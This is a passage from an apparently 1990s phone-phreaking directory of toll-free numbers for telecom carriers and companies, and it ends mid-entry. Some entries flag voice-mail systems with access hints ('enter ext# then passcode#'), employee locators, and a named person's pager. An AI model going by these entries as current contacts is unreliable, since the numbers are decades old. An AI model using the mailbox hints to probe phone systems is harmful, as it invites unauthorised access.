Ontario Control Centre. (Regional Manager) +1-800-749-9770 Bell Canada. (Toronto Office) +1-800-772-2141 Bell Canada Millennium (Setshop) +1-800-773-2121 Sympatico Customer Service. (Bell Canada's Internet service) +1-800-789-9073 Bell Simple Connections. +1-800-803-0077 Bell QuickChange Cards Customer Service. +1-800-847-7303 Bell Minor Hockey Hotline. +1-800-848-8353 Bell ActiMedia (Tele-Direct) Customer Service. +1-800-848-8353 Bell ActiMedia. +1-800-848-8353 Bell ActiMedia. +1-800-855-0511 Bell Canada Relay Service (BCRS) Operator. +1-800-862-6330 MTS (Manitoba Telephone System) +1-800-871-3011 SaskTel Satellite Service. +1-800-889-4672 Bell Canada Business. +1-800-889-4686 Bell Canada's Business Direct Marketing Centre. +1-800-900-3638 SaskTel FleetNet 800 and Wireless Data Service. +1-800-931-3282 IslandTel Data Communications. +1-800-936-6245 IslandTel. (IslandTel Express="1") +1-800-957-9999 Bell Canada Long Distance. +1-800-975-1969 SaskTel. +1-800-984-2646 IslandTel. +1-800-995-8887 Bell ActiMedia Sales Department. +1-800-REWARDS Bell Canada Rewards. +1-877-202-3206 Bell Canada. (Chinese) +1-877-268-4273 Bell Gardium Sales Department. +1-877-318-0859 Bell Sympatico. +1-877-486-3472 Bell Canada's Interactive Sympatico Ordering Service. +1-877-499-1260 Bell Canada's Smart Touch Promotion Line. +1-877-499-1263 Bell Canada's Smart Touch Line. +1-877-4PERCALL Bell Canada's (Dis)Advantage Per Call. +1-877-506-BELL Bell ExpressVu. +1-877-520-BELL Bell ExpressVu. +1-877-652-4119 Bell's SmartTouch Promotion. +1-877-70-SPEED Bell Sympatico. +1-877-723-4400 Bell Mobility Totalcom. +1-877-885-2424 Bell FirstRate 24 Hour Enrollment Service. +1-877-90-SPEED Bell Sympatico. +1-877-91-SPEED Bell Sympatico. +1-877-ALL-WKND Bell Mobility. +1-877-FIRSTRATE Bell FirstRate Interactive Information and Enrollment Service. +1-888-217-6533 Bell Mobility Pager. +1-888-217-6535 Bell Mobility Pager. +1-888-217-6538 Bell Mobility Pager. +1-888-217-6539 Bell Mobility Pager. +1-888-217-6540 Bell Mobility Service. +1-888-24-FIRST Bell FirstRate Interactive Information and Enrollment Service. +1-888-242-2355 Bell (Spanish) +1-888-291-6799 Bell Mobility Order Desk. +1-888-299-0977 Bell Canada's Interactive Sympatico Ordering Service. +1-888-308-5640 Bell Mobility Paging. +1-888-333-4454 Bell Equipement D Imprimerie. +1-888-368-9110 Northwestel Account Manager. +1-888-377-2355 Bell Firstrate Interactive Information and Enrollment Service. +1-888-378-2355 Bell Canada's Ontario Direct Marketing Center. +1-888-386-5555 Stentor Communications Production Fund. +1-888-388-2355 Bell Direct in Canada. (the same as 310-BELL) +1-888-4-662453 (1-888-4-MOBILE) Bell Mobility Cellular. +1-888-423-2333 Northwestel Business Support Centre. +1-888-442-0222 Bell Mobility Accounts Receivable. +1-888-457-7308 Bell Mobility Order Desk. +1-888-457-7309 Bell Mobility. +1-888-457-7310 Bell Mobility. +1-888-490-3001 Tele-Direct Atlantic. +1-888-542-3784 Bell Mobility Out of the Box Program. +1-888-597-9999 Schwab Canada QUALCOMM Digital PCS phone from Bell Mobility. +1-888-739-2737 (1-888-REWARDS) Bell Canada. +1-888-788-2355 Bell Canada Business Consulting Group. +1-888-794-0777 Stentor Canadian Network Management. +1-888-865-2239 Bell Mobility Pager. +1-888-904-2355 Bell Firstrate Interactive Information and Enrollment Service. +1-888-932-6666 BCE Corp. Communications. +1-888-DIRECPC Tele-Stat Canada's Direct PC Customer Care Centre. + + +------------------------------------------------------------------------------- + BellSouth: +------------------------------------------------------------------------------- + +1-800-285-2355 BellSouth. +1-800-419-2355 BellSouth. (Spanish) +1-800-436-8638 BellSouth Internet Home. (U.S. only) +1-800-451-6549 BellSouth Customer Service. +1-800-541-1229 BellSouth Financial Services. +1-800-733-2355 BellSouth Phones. +1-800-753-0223 BellSouth Order Line. +1-800-767-2355 BellSouth Automated Billing Services. +1-800-775-2355 BellSouth Phones. +1-800-831-4323 BellSouth. +1-800-832-6338 BellSouth Memory Call Service. +1-800-842-1558 BellSouth Benefits Service Center. +1-800-858-9413 BellSouth ISDN order line. +1-800-925-0010 BellSouth Communications Systems. +1-800-925-0049 BellSouth Equipment/Customer Changes. (U.S. only) +1-800-925-2525 BellSouth Business. +1-800-995-9999 BellSouth Phones. +1-800-BELL-SOUTH (Collect, Calling Card and Credit Card calls) +1-888-201-2355 BellSouth Benefit Enrollment System. +1-888-203-2355 BellSouth. +1-888-327-2355 BellSouth Mobility Area Code Reprogramming Department. +1-888-383-2355 BellSouth Cellular Fraud Prevention Center. +1-888-462-8033 BellSouth COCOT Repair. +1-888-543-2355 BellSouth Internet Business. +1-888-837-1668 BellSouth Telecom Rental Services. + + +------------------------------------------------------------------------------- + Cellular One: +------------------------------------------------------------------------------- + +1-800-369-2355 Cellular One. +1-800-381-2355 Cellular One. +1-800-487-2355 Cellular One Customer Service. +1-800-514-2355 Cellular One's Welcome line. +1-800-567-2355 Cellular One. +1-800-604-2355 Cellular One. +1-800-670-2355 Communication One (authorized agent of Cellular One) +1-800-CELL-ONE Cellular One. (U.S. only) +1-888-345-2355 Cellular One Dispatch. +1-888-522-2355 Cellular One. +1-888-562-2355 Cellular One's Job Hotline. +1-888-681-2355 Cellular One. +1-888-CELLPHONE Cellular One. + + +------------------------------------------------------------------------------- + GTE: +------------------------------------------------------------------------------- + +1-800-225-5160 GTE Corporation Teleservicing System. +1-800-225-5483 (1-800-CALL-GTE) GTE Long Distance. +1-800-272-3466 GTE Telecom. +1-800-346-5800 GTE Business Sales Center. +1-800-347-5665 GTE Express. (Cellular) +1-800-366-4834 (1-800-FON-GTE4) GTE Personnel-only question line. (U.S. only) +1-800-366-4835 (1-800-FON-GTE5) GTE Personnel-only question line. +1-800-366-5665 GTE Express. (Cellular) +1-800-428-8722 GTE Superpages Internet Services. +1-800-445-5288 GTE Business Sales Center. +1-800-448-3795 GTE. +1-800-472-4565 GTE Internetworking. (U.S. only) +1-800-483-1000 (1-800-GTE-1000) GTE Repair Center. +1-800-483-2273 (1-800-GTE-CARD) GTE Calling Card Services. +1-800-483-3000 GTE Billing Center. +1-800-483-3600 GTE North Customer Billing Center. +1-800-483-4000 GTE California Customer Service Ordering Center. +1-800-483-4839 GTE Business Response Center. +1-800-483-5000 GTE California Business Sales Center. +1-800-483-5288 GTE Headquarters in Irving, TX. +1-800-483-5400 GTE Business Sales Center. +1-800-483-5559 GTE. +1-800-483-5781 GTE Wireless. +1-800-483-7243 (1-800-GTE-PAGE) GTE Paging. +1-800-483-7479 GTE Hawaiian Tel's Business Sales Center. +1-800-483-8494 GTE Long Distance. +1-800-527-2558 GTE Business Response Center. +1-800-643-0997 GTE Bank Card Center. +1-800-670-9320 GTE Paging. +1-800-727-2355 GTE Wireless. +1-800-787-9689 GTE Customer Service. +1-800-877-5665 GTE Express. (Cellular) +1-800-888-8448 GTE Directory Order Center. +1-800-927-3000 GTE Internet. +1-800-AIRFONE GTE Airfone. +1-888-483-0022 GTE Government Systems. + + +------------------------------------------------------------------------------- + MCI WorldCom: +------------------------------------------------------------------------------- + +1-800-225-5888 MCI WorldCom Operator Services. +1-800-254-8991 MCI WorldCom Customer Service. (U.S. only) +1-800-264-1000 MCI WorldCom Customer Service. +1-800-265-5328 MCI's 1-800-COLLECT. Automated collect calls. +1-800-267-7320 Network MCI +1-800-270-6245 WorldCom VMS. ("Please enter the # sign followed by your BN") +1-800-275-0200 MCI WorldCom Residential/Business Customer Service. +1-800-275-1234 MCI WorldCom. Accepts calling cards for phone calls. +1-800-333-1000 MCI WorldCom Commercial Customer Service. +1-800-333-2000 MCI WorldCom. +1-800-333-5000 MCI WorldCom Residential Service. +1-800-336-0149 MCI WorldCom Global Product Support. +1-800-432-4557 MCI WorldCom Account Services. (U.S. only) +1-800-444-1111 MCI WorldCom's Global Technical Service Center. +1-800-444-3333 MCI Customer Service. (U.S. only) +1-800-444-4444 MCI WorldCom. +1-800-444-6242 MCI. +1-800-444-6245 MCI Mail Messaging and Technical Support. +1-800-444-7000 MCI WorldCom St. Louis Business Market Sales Office. +1-800-455-1605 Network MCI System. +1-800-455-2957 Network MCI System. +1-800-455-4215 Network MCI System. +1-800-455-5469 Network MCI System. +1-800-455-6084 Network MCI Interactive Paging Service. +1-800-455-6504 Network MCI System. +1-800-455-6513 Network MCI System. +1-800-455-6780 Network MCI System. +1-800-455-6834 Network MCI System. +1-800-455-7806 Network MCI System. +1-800-455-7854 Network MCI System. +1-800-455-7920 Network MCI System. +1-800-456-0253 MCI WorldCom. +1-800-475-0138 MCI WorldCom. +1-800-475-5628 MCI WorldCom Paging System. +1-800-475-9321 MCI WorldCom. +1-800-483-4929 Network MCI System. +1-800-483-8784 Network MCI System. +1-800-539-2000 MCI WorldCom Business Services. +1-800-554-5778 MCI WorldCom Prepaid Cellular. +1-800-555-4668 Network MCI System. +1-800-627-2355 MCI WorldCom Administrative Offices. +1-800-637-2255 MCI WorldCom. +1-800-644-NEWS MCI WorldCom Public Relations. +1-800-645-2355 MCI WorldCom. +1-800-666-1904 MCI WorldCom. (U.S. only) +1-800-666-2613 MCI WorldCom. +1-800-674-2355 MCI WorldCom (calling card calls) +1-800-688-4889 MCI National Relay Service in the U.S. (TTY) +1-800-701-9358 MCI WorldCom. (U.S. only) +1-800-701-9360 MCI WorldCom. (U.S. only) +1-800-724-3624 (1-800-PAGE-MCI) MCI WorldCom Paging System. +1-800-727-5555 MCI Small Business Accounts. (U.S. only) +1-800-749-0800 MCI WorldCom. +1-800-827-4690 MCI WorldCom Paging System. +1-800-827-4750 MCI WorldCom Paging System. +1-800-827-9987 MCI WorldCom Corporate Accounts. +1-800-848-4480 MCI WorldCom Network Assistance. (modem) +1-800-864-4060 MCI WorldCom Wholesale Services. +1-800-872-7654 MCI WorldCom's EDI Group. +1-800-876-8581 Network MCI. +1-800-877-8000 MCI. +1-800-877-9320 Network MCI. +1-800-888-8000 MCI WorldCom automated calling card calls. +1-800-909-3175 MCI WorldCom Pre-paid Card System +1-800-909-3180 MCI WorldCom Pre-paid Card System +1-800-909-3197 MCI. (Spanish) +1-800-944-0700 MCI WorldCom Wireless. +1-800-947-8642 MCI National Relay Service in the U.S. (voice) +1-800-950-1022 MCI WorldCom Customer Service. +1-800-999-7700 MCI WorldCom. +1-800-COLLECT MCI WorldCom automated collect calls. +1-800-EVERYDAY MCI WorldCom. +1-800-SUNDAYS MCI WorldCom. +1-800-WORLDCOM WorldCom. +1-888-575-2355 MCI WorldCom. +1-888-624-2355 MCI WorldCom. +1-888-655-2355 Network MCI Contact. +1-888-724-3624 (1-888-PAGE-MCI) MCI WorldCom Paging System. + + +------------------------------------------------------------------------------- + MT&T: +------------------------------------------------------------------------------- + +1-800-422-5978 MT&T Mobility. +1-800-461-5533 MT&T Billing, Accounts and Repairs. +1-800-561-6364 MT&T Data Services. +1-800-565-1881 MT&T Business Customer Service Centre. +1-800-565-4003 MT&T. +1-800-565-4800 MT&T. +1-800-565-5065 MT&T Residence Telemarketing. +1-800-565-7102 MT&T. +1-800-626-5552 MT&T Data Communications Sales and Repairs. + + +------------------------------------------------------------------------------- + Nortel: +------------------------------------------------------------------------------- + +1-800-466-7835 (1-800-4-NORTEL) Nortel Networks. (Northern Telecom) +1-800-684-2255 Nortel's Meridian Home Office Support/Info. +1-800-833-7477 Nortel Networks. +1-800-668-1717 Nortel's Global Customer Service. + + +------------------------------------------------------------------------------- + Pacific Bell: +------------------------------------------------------------------------------- + +1-800-241-3000 Pacific Bell Quickservice. (U.S. Only) +1-800-248-2800 Pacific Bell Smart Yellow Pages. +1-800-286-8111 Pacific Bell Spanish Yellow Pages. +1-800-310-BELL Pacific Bell. (U.S. Only) +1-800-453-4539 Pacific Bell Directory Major Market. (U.S. only) +1-800-4PB-ISDN Pacific Bell FasTrak DSL Center. (U.S. only) +1-800-528-0000 Pacific Bell Business Products. (U.S. Only) +1-800-750-2355 Pacific Bell Customer Service. (U.S. Only) +1-800-782-8353 Pacific Bell (to report any payphone crimes) +1-800-848-8000 Pacific Bell Directory Smart Resource Center. +1-800-848-8000 Pacific Bell Directory Smart Resource. (U.S. only) +1-800-933-2355 Fulfillment plus. (Pacific Bell authorized agent) +1-800-953-4400 Pacific Bell Phone Book Recycling. (California Only) +1-888-755-2355 Pacific Bell Equipment. +1-888-775-2355 Pacific Bell Equipment. + + +------------------------------------------------------------------------------- + Qwest: +------------------------------------------------------------------------------- + +1-800-256-1410 Qwest Communications News Bureau. +1-800-460-1111 Qwest Customer Service. +1-800-460-2222 Qwest. +1-800-460-3333 Qwest. +1-800-524-5249 Qwest Communications Customer Service. +1-800-567-7296 Qwest Communications Investor Relations. +1-800-600-9196 Qwest Communications VMS. +1-800-860-2255 Qwest Communications. +1-800-899-7780 Qwest Communications. +1-800-968-1287 Qwest Communications. +1-800-968-3986 Qwest Communications. +1-877-877-7978 Qwest Shareholder Communication Service. +1-888-793-7811 Qwest Communications Career Line. (Job Listings) + + +------------------------------------------------------------------------------- + Southwestern Bell: +------------------------------------------------------------------------------- + +1-800-225-5792 SBC Wireless National Services. +1-800-441-1267 Southwestern Bell Yellow Pages. +1-800-443-6200 Southwestern Bell Yellow Pages. +1-800-468-6792 (1-800-GO-TO-SWB) Southwestern Bell's Employee Locator. +1-800-479-2977 Southwestern Bell Yellow Pages. +1-800-522-6909 Southwestern Bell Yellow Pages and Advertising Services. +1-800-528-2355 Southwestern Bell Yellow Pages Business Office. +1-800-600-2355 Southwestern Bell. +1-800-792-2665 (1-800-SWB-BOOK) Southwestern Bell Directory Source. +1-800-909-3285 Southwestern Bell Wireless. +1-888-455-2355 Southwestern Bell Long Distance. +1-915-683-9145 Southwestern Bell Employee Locator (Automated) + + +------------------------------------------------------------------------------- + Sprint: +------------------------------------------------------------------------------- + +1-800-227-9892 Sprint. +1-800-256-8340 Sprint Canada. +1-800-277-7468 Sprint Phone Card and Collect calls. +1-800-308-MOST Sprint Canada. +1-800-322-3090 Sprint BusinessFlex. +1-800-336-MOST Sprint Canada. +1-800-348-MOST Sprint Canada. +1-800-349-MOST Sprint Canada. +1-800-359-2255 Sprint Voice Phone Card. +1-800-361-9342 Sprint Canada Customer Service. (French) +1-800-366-0707 Sprint Pre-Paid Card Customer Service. +1-800-366-2255 Sprint automated LD calling (U.S. and Canada) +1-800-370-MOST Sprint Canada. +1-800-455-4602 Sprint PCS. +1-800-456-9711 Sprint Canada Customer Service. +1-800-459-MOST Sprint Canada. +1-800-465-3193 Sprint Canada Customer Service. (English) +1-800-467-7746 Sprint. +1-800-469-MOST Sprint Canada. +1-800-475-7110 Sprint Canada. +1-800-480-4727 (1-800-480-4PCS) Sprint PCS. +1-800-483-MOST Sprint Canada. +1-800-485-4493 Sprint Canada. (Fax) +1-800-496-MOST Sprint Canada. +1-800-505-MOST Sprint Canada. +1-800-506-8268 Sprint Canada. +1-800-515-6678 (1-800-515-MOST) Sprint Canada. +1-800-516-MOST Sprint Canada. +1-800-522-9320 Sprint Canada. +1-800-540-4516 Sprint Canada. +1-800-546-2500 Sprint's online directory of SprintNet local access numbers. +1-800-546-6000 SprintNet's In-WATS Service. +1-800-548-8120 Sprint Canada. +1-800-555-2800 Sprint (Spanish) +1-800-570-2255 Sprint Business Service Center. +1-800-571-6678 (1-800-571-MOST) Sprint Canada. +1-800-575-2255 Sprint Canada's Business Sales Office in Halifax. +1-800-581-MOST Sprint Canada. +1-800-593-6678 Sprint Long Distance. +1-800-597-1195 Sprint Canada. +1-800-597-9765 Sprint Canada. +1-800-605-MOST Sprint Canada. +1-800-613-7797 Sprint Canada Customer Service. +1-800-631-MOST Sprint Canada. +1-800-653-MOST Sprint Canada. +1-800-666-6999 Sprint Canada. +1-800-674-7000 Sprint. +1-800-680-6678 (1-800-680-MOST) Sprint Canada. +1-800-681-MOST Sprint Canada. +1-800-714-MOST Sprint Canada. +1-800-736-1130 SprintNet data network products and services. +1-800-746-3767 (1-800-PIN-DROP) Sprint. (U.S. only) +1-800-749-MOST Sprint Canada. +1-800-777-4681 (1-800-SPRINT-1) Sprint Paging. +1-800-777-4683 (1-800-SPRINT-3) Sprint Selections. +1-800-801-6678 (1-800-801-MOST) Sprint Canada. +1-800-810-MOST Sprint Canada. +1-800-827-2200 Sprint Business. +1-800-827-3700 Sprint Long Distance. +1-800-827-4680 Sprint Business. +1-800-827-4685 Sprint's Global One Customer Service Center. +1-800-827-4700 Sprint Long Distance. +1-800-827-4800 Sprint Business Sales Office. +1-800-827-9080 Sprint. +1-800-830-MOST Sprint Canada. +1-800-841-MOST Sprint Canada. +1-800-843-6678 (1-800-THE-MOST) Sprint Canada. +1-800-873-9350 Sprint Canada. +1-800-874-5069 Sprint Canada. +1-800-877-4453 Sprint Employee News line. (U.S. only. Updated daily) +1-800-877-4646 Sprint Account/Rewards/Calling Card customer services. +1-800-877-5045 Sprint Service Management Center. +1-800-877-8000 Sprint Operator assisted calls. +1-800-877-8973 Sprint National Relay Service in the U.S. (voice/TTY) +1-800-980-5464 Sprint Canada Residential Customer Service/Sales. (English) +1-800-980-8595 Sprint Canada Customer Service. (French) +1-800-980-8595 Sprint Canada Residential Customer Service/Sales. (French) +1-800-994-6678 (1-800-994-MOST) Sprint Canada. +1-800-FON-CARD Sprint's automated calling. +1-877-4-NIGHTS Sprint Nickel Nights. +1-877-4-WEEKENDS Sprint Weekends. +1-877-4-YOURPLAN Sprint BusinessFlex. +1-877-591-EASY Sprint Canada Easy Unlimited. +1-877-592-EASY Sprint Canada Easy Unlimited. +1-877-597-EASY Sprint Canada Easy Unlimited. +1-877-598-EASY Sprint Canada Easy Unlimited. +1-877-5CONTACT Sprint. +1-877-602-EASY Sprint Canada Easy Unlimited. +1-877-931-EASY Sprint Canada Easy Unlimited. +1-877-935-EASY Sprint Canada Easy Unlimited. +1-877-939-EASY Sprint Canada Easy Unlimited. +1-877-940-EASY Sprint Canada Easy Unlimited. +1-877-943-EASY Sprint Canada Easy Unlimited. +1-877-945-EASY Sprint Canada Easy Unlimited. +1-877-950-EASY Sprint Canada Easy Unlimited. +1-877-953-EASY Sprint Canada Easy Unlimited. +1-877-955-EASY Sprint Canada Easy Unlimited. +1-888-254-0701 Sprint Canada's "The Most" Online. +1-888-254-2927 Sprint Canada. +1-888-276-2179 Sprint PCS. +1-888-369-DATA Sprint. +1-888-371-3279 Sprint Canada. +1-888-456-EASY Sprint Canada. +1-888-490-3279 (1-888-490-EASY) Sprint Canada's "The Most" Online. +1-888-510-3279 Sprint Canada. +1-888-512-3279 Sprint Canada. +1-888-579-3279 Sprint Canada. +1-888-581-3279 Sprint Canada. +1-888-657-3279 Sprint Canada. +1-888-660-3279 Sprint Canada. +1-888-670-3279 Sprint Canada. +1-888-675-3279 Sprint Canada. +1-888-685-3279 Sprint Canada's "The Most" Online. +1-888-689-3279 Sprint Canada's "The Most" Online. +1-888-690-3279 Sprint Canada's "The Most" Online. +1-888-710-3279 Sprint Canada's "The Most" Online. +1-888-777468-249 (1-888-SPRINT-BIZ) Sprint Business Flex line. +1-888-790-3279 Sprint Canada. +1-888-890-2384 Sprint Canada (French) +1-888-IN-TOUCH Sprint "Stay in touch" Services. + + +------------------------------------------------------------------------------- + US West: +------------------------------------------------------------------------------- + +(303) 896-7683 US West (Denver), automated job line. +1-800-227-2209 Enterprise US West Employee Help Line. +1-800-238-7848 US West "Air Touch" Cellular. +1-800-244-1111 US West Communications. +1-800-338-0018 US West Direct Yellow Pages. +1-800-422-8793 US West Directory Source. +1-800-455-8706 US West Repair Center for AT&T. +1-800-4US-WEST US West Card Services. +1-800-626-6611 US West "Air Touch" Cellular Customer Service. +1-800-856-3376 US West Dispatch. (U.S. only) +1-800-879-4357 US West Employee Locator. +1-800-883-6171 US West Completions and Translations. (U.S. only) + + +------------------------------------------------------------------------------- + Miscellaneous Telcos, LD Carriers, Voice Mail Systems and Companies: +------------------------------------------------------------------------------- + +(303) 499-7111 Atomic Clock in Colorado. +(905) 946-9953 Payphone in a Markham, ON coffee shop (accepts incoming calls) +(937) 445-4357 NCR HQ. (option 2) +1-800-200-0068 Call Interactive. (listen to male and female voices) +1-800-221-2255 American Airlines VMS. +1-800-221-4009 London Telcom. +1-800-222-5161 IBM Program Headquarters. +1-800-222-9323 AMD's Literature and Technical Service Center. (no Fax-back) +1-800-222-TIPS Crime Stoppers. +1-800-225-2255 ATN Communications. Collect, calling & credit card calls. +1-800-225-4288 ATN Communications. (collect, credit, calling card) +1-800-225-5101 Cable Guide Hotline. +1-800-225-5128 NOS automated collect, credit and calling card calls. +1-800-225-5152 Nationwide Messaging. +1-800-225-5228 ATN Communications. (collect, credit, calling card) +1-800-225-5233 NOS automated collect, credit and calling card calls. +1-800-225-5249 (1-800-CALL-AIX) IBM AIX Support. +1-800-225-5265 1-800-COLLECT. +1-800-225-5268 ATN Communications. (collect, credit, calling card) +1-800-225-5373 3M Electronic Products Information. +1-800-225-5385 Compaq Computer Corporation. +1-800-225-5438 IDT Long Distance/Internet Services. +1-800-225-5455 Johnson and Johnson VMS. +1-800-225-5463 Directory Assistance (800-CALL-INFO) +1-800-225-5607 NOS automated collect, credit and calling card calls. +1-800-225-5627 (1-800-CALL-NCR) NCR Customer Support. +1-800-225-5664 NEC. +1-800-225-5854 Meridian Mail VMB. +1-800-225-5921 Highlander Sale Catalog. (for ordering Scottish merchandise!) +1-800-227-3663 (1-800-CAR-FONE) Ericsson. +1-800-229-1103 Gateway Technical Support Tutorial Credit Card Line. +1-800-233-3382 Novell Education Programs. +1-800-235-1414 National Telewire Message Centre. +1-800-235-4008 Information America's Client Support. +1-800-242-0080 Compaq Corporation. +1-800-242-2121 Lucent Technologies (PBX systems info, VMS info on Audix, etc.) +1-800-255-3700 Nintendo. +1-800-260-DELL DELL. +1-800-263-0656 NCR. +1-800-263-1121 Canon. +1-800-263-1136 Statistics Canada. +1-800-263-2244 Sanyo On-Site. +1-800-263-2777 IBM Software Replication Services. +1-800-263-3394 Apple Canada. +1-800-264-2255 InComNet National Telephone and Communications. +1-800-265-0977 NCR. +1-800-265-MUCH MuchMusic. (Much On Demand) +1-800-267-2772 Sitel Canada. +1-800-267-5251 Compaq Canada Services. +1-800-267-9010 Message Center Dispatch. +1-800-268-1221 Hewlett-Packard Canada Ltd. +1-800-268-3997 NEC. +1-800-284-2255 ATN Communications. (collect, credit, calling card) +1-800-288-2880 OCI Communications. +1-800-289-3355 (1-800-BUY-DELL) DELL Canada. +1-800-294-0020 US Tel. (phone repairs and sales) +1-800-296-7160 DELL Canada. +1-800-300-2355 NOS. (calling card, collect calls, etc.) +1-800-320-3488 Motorola Radio Network Services in San Diego, CA. +1-800-321-4044 Intel Overdrive/Microprocessor Support Line. +1-800-324-1234 CTI Long Distance Customer Service. +1-800-331-9922 General Motors Shareholder's Services. +1-800-332-2717 Intel Technical Support. +1-800-332-4636 Compaq Computer Corporation. +1-800-333-9967 Communication Options. +1-800-334-2255 GE Information Services Center. +1-800-334-2564 (1-800-3-DIALOG) Dialog Information Service WHQ. +1-800-336-5236 Texas Instruments. +1-800-336-6000 Audix VMB. +1-800-339-6181 Toshiba. +1-800-343-7363 American Telegram (24 Hour Worldwide Telegram Service) +1-800-344-4825 Compaq Canada. +1-800-345-3444 AlternaCall Customer Information Line. +1-800-346-6873 (1-800-34-MOUSER) Mouser Electronics (order crystals) +1-800-354-9000 Compaq Customer Services. +1-800-355-6245 ATX Telecommunication Services. (Answering Machine) +1-800-359-9556 Samsung Telecommunications. +1-800-360-2255 Century 21 Realty VMS. +1-800-361-1319 Motorola Canada. +1-800-363-3811 Belcom Communications. +1-800-367-2346 Motorola Telecommunications Administration. +1-800-381-7707 Rogers Cantel Service Barrie. +1-800-387-0005 Primus Canada. +1-800-387-2837 Dominion Telephone Systems Ltd. +1-800-387-4172 The Canadian Telephone Company Inc. +1-800-387-4268 Lucent Technologies. +1-800-387-4636 Nestle Canada. +1-800-387-5645 Toshiba. +1-800-387-8240 NCR. +1-800-387-8300 NCR Help Desk and Call Management Center. +1-800-387-9000 Jetco Companies. (press "4" - InTouch Canada Cell Phone Rentals) +1-800-388-PIR8 SPA Anti-Piracy Hotline. (the official warez d00d ratline) +1-800-395-4656 ITC Telecom Dispatch Service. +1-800-4-LUCENT Lucent Technologies. +1-800-4-ONLINE America Online order line. +1-800-405-6543 American Mobile Customer Accounts Support Center. +1-800-418-6245 Blockbusters VMS. +1-800-421-7944 NCR Benefits Service Center. +1-800-424-6262 ITT Voice Mail. (Meridian Mail) +1-800-425-1111 Pepsi Cola Atlantic Customer Service. +1-800-426-2255 (IBM-CALL) IBM Customer Support. +1-800-426-4682 IBM Performance Management and Capacity Planning Services. +1-800-426-4968 (IBM-4YOU) IBM Products, Services and Technical Support. +1-800-426-4968 IBM Customer Service. +1-800-426-7378 (IBM-SERV) IBM Hardware/Software technical information. +1-800-428-3929 (1-800-GATEWAY) Gateway in South Dakota. +1-800-433-9996 Micro$oft TechHead '99 Registration Headquarters. +1-800-439-2204 Brewer's Retail Help Desk. +1-800-444-9000 Telecom USA. +1-800-446-6744 Motorola Supplier/Customer Training Services. +1-800-448-2244 (1-800-HITACHI) Hitachi. +1-800-452-9996 Statistics Canada. +1-800-453-0920 Motorola IDEN Customer Services. +1-800-455-2948 SkyWard Message Center. +1-800-455-4890 Pager that plays a South Park Song for the greeting. +1-800-455-5958 ITC Telecom. +1-800-456-3333 SkyTel National Sales Center. +1-800-457-1235 Lucent Technologies BCS Publications Center. +1-800-457-6245 CSI CompuServe Technical Support. (Requires UserId #) +1-800-461-4575 Motorola Cellular Customer Service. +1-800-461-5161 NCR Canada Emergency Parts Order Desk. +1-800-462-9791 M Telecom Internet Business Services. +1-800-465-1176 Meridian Mail VMB. +1-800-465-7999 IBM Direct. +1-800-467-2355 CenturyTel. +1-800-468-1714 Hershey Canada. +1-800-468-3548 (1-800-INTEL-IT) Intel Product Repair Service. +1-800-472-5451 Hershey Canada Inc. +1-800-475-3107 Joanne Wilson from IBM Global Services Pager. +1-800-477-9692 ATN Information and Customer Service. +1-800-483-1170 3Com's Customer Service after hours VMB. +1-800-483-1288 IBM Work Group Services. +1-800-483-4444 FirsTel Advanced Communications Customer Service Center. +1-800-483-5463 800 Ideas.com Incorporated. +1-800-483-6681 StarTech telco. +1-800-501-1150 Hershey Canada Inc. (French) +1-800-501-6245 Database America's answering machine. +1-800-509-1800 Novell's Customer Response Center. +1-800-522-6245 AMD VMS. (enter 3 digit ext# then 3 digit passcode#) +1-800-524-3388 CompuServe. +1-800-525-5288 ATN Communications. +1-800-536-3273 Frontier Customer Service. +1-800-539-6275 (1-800-LEXMARK) Lexmark Canada. +1-800-542-7279 (1-800-LIBRARY) The Teleconnect Dictionary (Telecom Books, + Glossary of Terms, Acronyms and Jargon) +1-800-544-4660 Plantronics Telephone Headsets. +1-800-555-1212 Toll Free Directory Assistance/Info. +1-800-555-1313 SkyTel VMB. +1-800-555-1560 Audix VMB. +1-800-555-2052 Gateway 2000 International Department. +1-800-555-2091 Gateway 2000 International Department. +1-800-555-2255 NOS. Collect, credit card calls, Operator assisted, etc. +1-800-555-3012 Gateway Direct Line. +1-800-555-4000 "Mike's" SkyTel Direct Dial VMB. Press "*" to access. +1-800-555-6620 Meridian Mail VMB. +1-800-555-7665 TelAmerica. +1-800-557-6245 Saloman Smith Barney VMS. +1-800-563-9048 Micro$oft Canada Sales and Information Centre. +1-800-565-2237 Acer America Corporation. +1-800-565-6317 Cadbury. +1-800-567-1616 Compaq Canada. +1-800-5678-HMV HMV Music Store. +1-800-569-DELL DELL. +1-800-576-2255 Frontier Communications Customer Service. +1-800-580-5585 WesTel Incorporated Customer Service. +1-800-588-1111 ActionTel. +1-800-588-2222 ActionTel Customer Service. +1-800-594-3000 Call-Home America. +1-800-595-8480 Rogers@Home. +1-800-627-2303 (1-800-NCR-2303) NCR Corporation Shareholder Services. +1-800-627-5609 Conquest Customer Service. +1-800-628-2888 Lucent Technologies National Customer Care Center. +1-800-628-8686 Intel Customer Service. +1-800-628-9526 Compaq Support Line. +1-800-633-2255 NOS automated collect, credit and calling card calls. +1-800-638-5298 Global Telecom. +1-800-638-9273 Novell Customer Support. +1-800-638-9636 Genie Online Service. +1-800-639-8359 (1-800-NEXTEL-9) +1-800-647-2355 MinIowa PC Partner. 1-877-727-3375 Internet number. +1-800-652-6672 (1-800-OK-COMPAQ) Compaq Computer Corporation Technical Support. +1-800-658-5199 AccessData Corporation. (data recovery) +1-800-661-1886 Palco Telecom Inc. +1-800-661-7274 SeaChange (Internet Services) +1-800-663-7780 NCR Invoicing Department. +1-800-665-2775 Apple Canada Dealer Locator Line. +1-800-667-3601 Frontier SpeedLink. +1-800-667-7656 Accord Communications Inc. +1-800-668-3979 Bestobell Canada Ltd (Toronto) +1-800-669-1800 Burger King's VMB. (4 digit BNs) +1-800-672-3888 National Rifle Association Hotline. +1-800-685-3968 (1-800-NUKE-YOU) is VoiceComm. +1-800-724-3780 Seiger Electronics. +1-800-725-5288 ATN Communications. +1-800-726-7864 (1-800-SAMSUNG) Samsung Information Line. +1-800-733-9673 (1-800-RED-WORD) Novell Developer's Support. +1-800-741-2255 ATN Communications. (collect, credit, calling card, Op assisted.) +1-800-749-8000 Nextel International. +1-800-777-2255 Phone Works VMS. +1-800-777-3278 Fujitsu Network Communications Inc. +1-800-777-4343 Digital Equipment Corp. +1-800-783-2020 Frontier Communications Customer Service. +1-800-786-0404 (1-800-SUN-0404) Sun Express (supplier of Sun Microsystems) +1-800-788-8588 Working Assets Long Distance. +1-800-800-8800 Target Directory. +1-800-822-2000 Lucent Technologies. +1-800-825-2255 Metro-Call Customer Service. (pager service) +1-800-827-0035 